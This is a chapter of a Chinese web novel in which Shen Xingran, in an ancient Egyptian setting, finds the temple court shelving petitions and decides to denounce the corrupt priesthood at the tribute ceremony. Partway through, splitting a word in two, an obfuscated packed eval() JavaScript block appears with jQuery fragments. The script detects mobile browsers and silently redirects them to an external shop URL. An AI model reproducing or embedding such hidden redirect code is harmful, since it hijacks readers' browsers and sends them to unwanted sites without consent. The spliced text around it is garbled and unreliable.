当天晚上，沈星燃难得的笑脸相迎，态度友好的询问亚珀进贡大典的事。亚珀只当她见识少，想看大场面，便没有多虑的告诉她，进贡大典在七日后。
知道消息后，沈星燃将自己关在房间，把收集到的全部证词铺开在木案上——麦德察守卫的书面证词、市井商贩的口述记录、田庄农户的联名陈情——逐条核对，确保每一笔都能经得起当众质询。
她准备在进贡大典上当众陈情，可问题是她对这套仪式的规程一无所知——什么时辰允许平民发言？有没有先例？陈词需要提前递交还是可以临场呈诉？
万一大典的流程没有“当众陈情”这个环节，她贸然去闯，可能人还没挤进去，就被侍卫拖下去，给亚珀送了人头，还辜负了西提娅的嘱托。
就算她幸运，挤进了进贡大典的核心活动场地，维西尔问她“为何不走正规渠道”？她不止得说有先例可查，还能说明正规渠道走不通，才被迫走到了这一步。
想到此，沈星燃把证据快速归拢，决定明天先去神庙探探底。
第二天一早，沈星燃带着整理好的诉状，来到了神庙附属的审判庭。
审判庭设在卡纳克神庙西南侧的一座偏殿里，殿门低矮，远不如主殿恢弘。门廊的石柱上刻着玛阿特女神的浮雕——她头戴鸵鸟羽冠，手持真理之羽，跪在天地之间。
沈星燃在浮雕前站了片刻，抬步走了进去。
殿内光线昏暗，两侧靠墙排着几排木凳，零零散散坐着几个等候申诉的百姓——一个晒得黝黑的老农攥着一张皱巴巴的莎草纸，一个妇人抱着孩子低声啜泣，一个瘸腿的退伍士兵拄着木杖打瞌睡。
空气中弥漫着陈旧的莎草纸味和汗味，混着一股经年不散的霉潮。
沈星燃走到柜台前，将诉状和配套证词递上去。
接待她的书记官是个面容干瘦的中年人，接过诉状时眼睛都没有抬一下，只说了句“知道了”，便让她回去等消息。
沈星燃没有立刻走，而是退到木凳一侧坐下，安静地观察情况。
结果她等了整整一个下午。
期间，那个老农三次走到柜台前，询问自己案子的进展，书记官每次都态度友好地用同一句话打发他：“在审了，回去等。”
老农第三次回来时，脸上已没有焦灼，只剩一种被磨平了所有棱角的麻木。他缓缓坐回木凳，把那张皱巴巴的莎草纸叠好，塞进怀里，像塞进一件再也穿不上的旧衣裳。
沈星燃忍不住开口：“老人家，您的案子是什么时候递的？”
老农抬头看了她一眼，浑浊的眼底没有意外，像是早已习惯被陌生人问这种话：“三年前。”
他顿了顿，声音沙哑：“祭司强占了我家祖传的河岸田，说是神庙扩建需要征用。没有补偿，没有文书，直接把我赶走了。我告了三年，诉状递了六份——”他拍了拍怀里，“全在这里头压着呢。”
沈星燃眉头微蹙，抬眼看了一眼柜台后面那个书记官——他正低头翻阅一份文书，神色淡然，像是在处理一桩与任何人无关的例行公事。
沈星燃起身，在柜台前犹豫片刻后，决定先回去耐心等几天。
结果五天后，沈星燃再去询问。
那个书记官倒是麻溜，直接递来一张复函，回复她：诉状已经搁置了，理由是“证据不充分”。
她问她递交的那份配套详细证词在哪里？书记官只是摆了摆手，不再理会。
沈星燃一肚子火，站在柜台前，安静地看了那个书记官三息后，转身走出审判庭。
大门两旁的玛阿特女神雕塑壮观，石阶上阳光刺目，她在门前站了很久，把那张复函折好，塞进腰带里，和那枚圣甲虫放在一起。
审判庭的石阶下，那个老农还坐在木凳上晒太阳。他见沈星燃出来，冲她笑了笑，笑容里没有苦涩，只有一种彻底放弃后的平静。
沈星燃忽然明白，她面对的是一个什么样的情况。
不是一个人的贪婪，不是亚珀一个人的心虚——而是一整张网。审
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17807484|205802||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
判庭、书记官、神庙祭司，层层叠叠，盘根错节，织成一张滴水不漏的防护网。
这张网可以轻易碾碎任何一个孤女的冤屈，碾碎那个老农三年的等待，碾碎所有底层百姓对“玛阿特”的信仰——而不留半点痕迹。
她原本只是想替西提娅夺回家产。
可她发现，此刻她站在审判庭门口，看着石柱上那座玛阿特浮雕——真理之羽在阳光下一动不动，像是也被人遗忘了。
原本她只想在进贡大典上陈述个人的遭遇：亚珀侵占亡妻嫁妆、苛待嫡女、认亲宴上虚伪认亲。
可现在她觉得不够。
一个老农告了三年，六份诉状全被压下。她的诉状五天就被驳回。审判庭的石阶上坐着的，不是一两个人的冤屈，而是整个阶层被系统性碾压后留下的沉默。
如果她在大典上只说自己的事——亚珀侵占家产、苛待嫡女——那些高高在上的祭司完全可以以一句“家事纠纷，不宜在此议论”把她打发回去。
但如果她把话说大了呢？
她想起那些高阶祭司在认亲宴上的闲谈——进贡大典，列国使臣齐聚，事关王朝颜面。
如果她当众指出：神庙审判系统已从内部腐朽，祭司阶层蛇鼠一窝，纵容权贵侵吞平民与贵族遗孤的合法产业，玛阿特代表的真理、平衡、正义形同虚设——那就不可能再是普通的“家事”了。
那是国法，是秩序，是整个十八王朝对内对外的颜面。
远道而来的列国使臣若听到这番话，传回去便是“埃及王国法度崩坏、神庙祭司徇私舞弊”——这个代价，神庙高层稍微有点政治觉悟，都是不敢冒这个风险的。
沈星燃站在石阶上，目光落在远处尼罗河的方向。
既然个体的力量太弱，那就不能只替西提娅说话，还要替审判庭石阶上那个坐了三年的老农说，替所有被这张网碾碎的人说。
个人恩怨可以被压下，但“玛阿特已死”这五个字，没人敢当着列国使臣的面装听不见。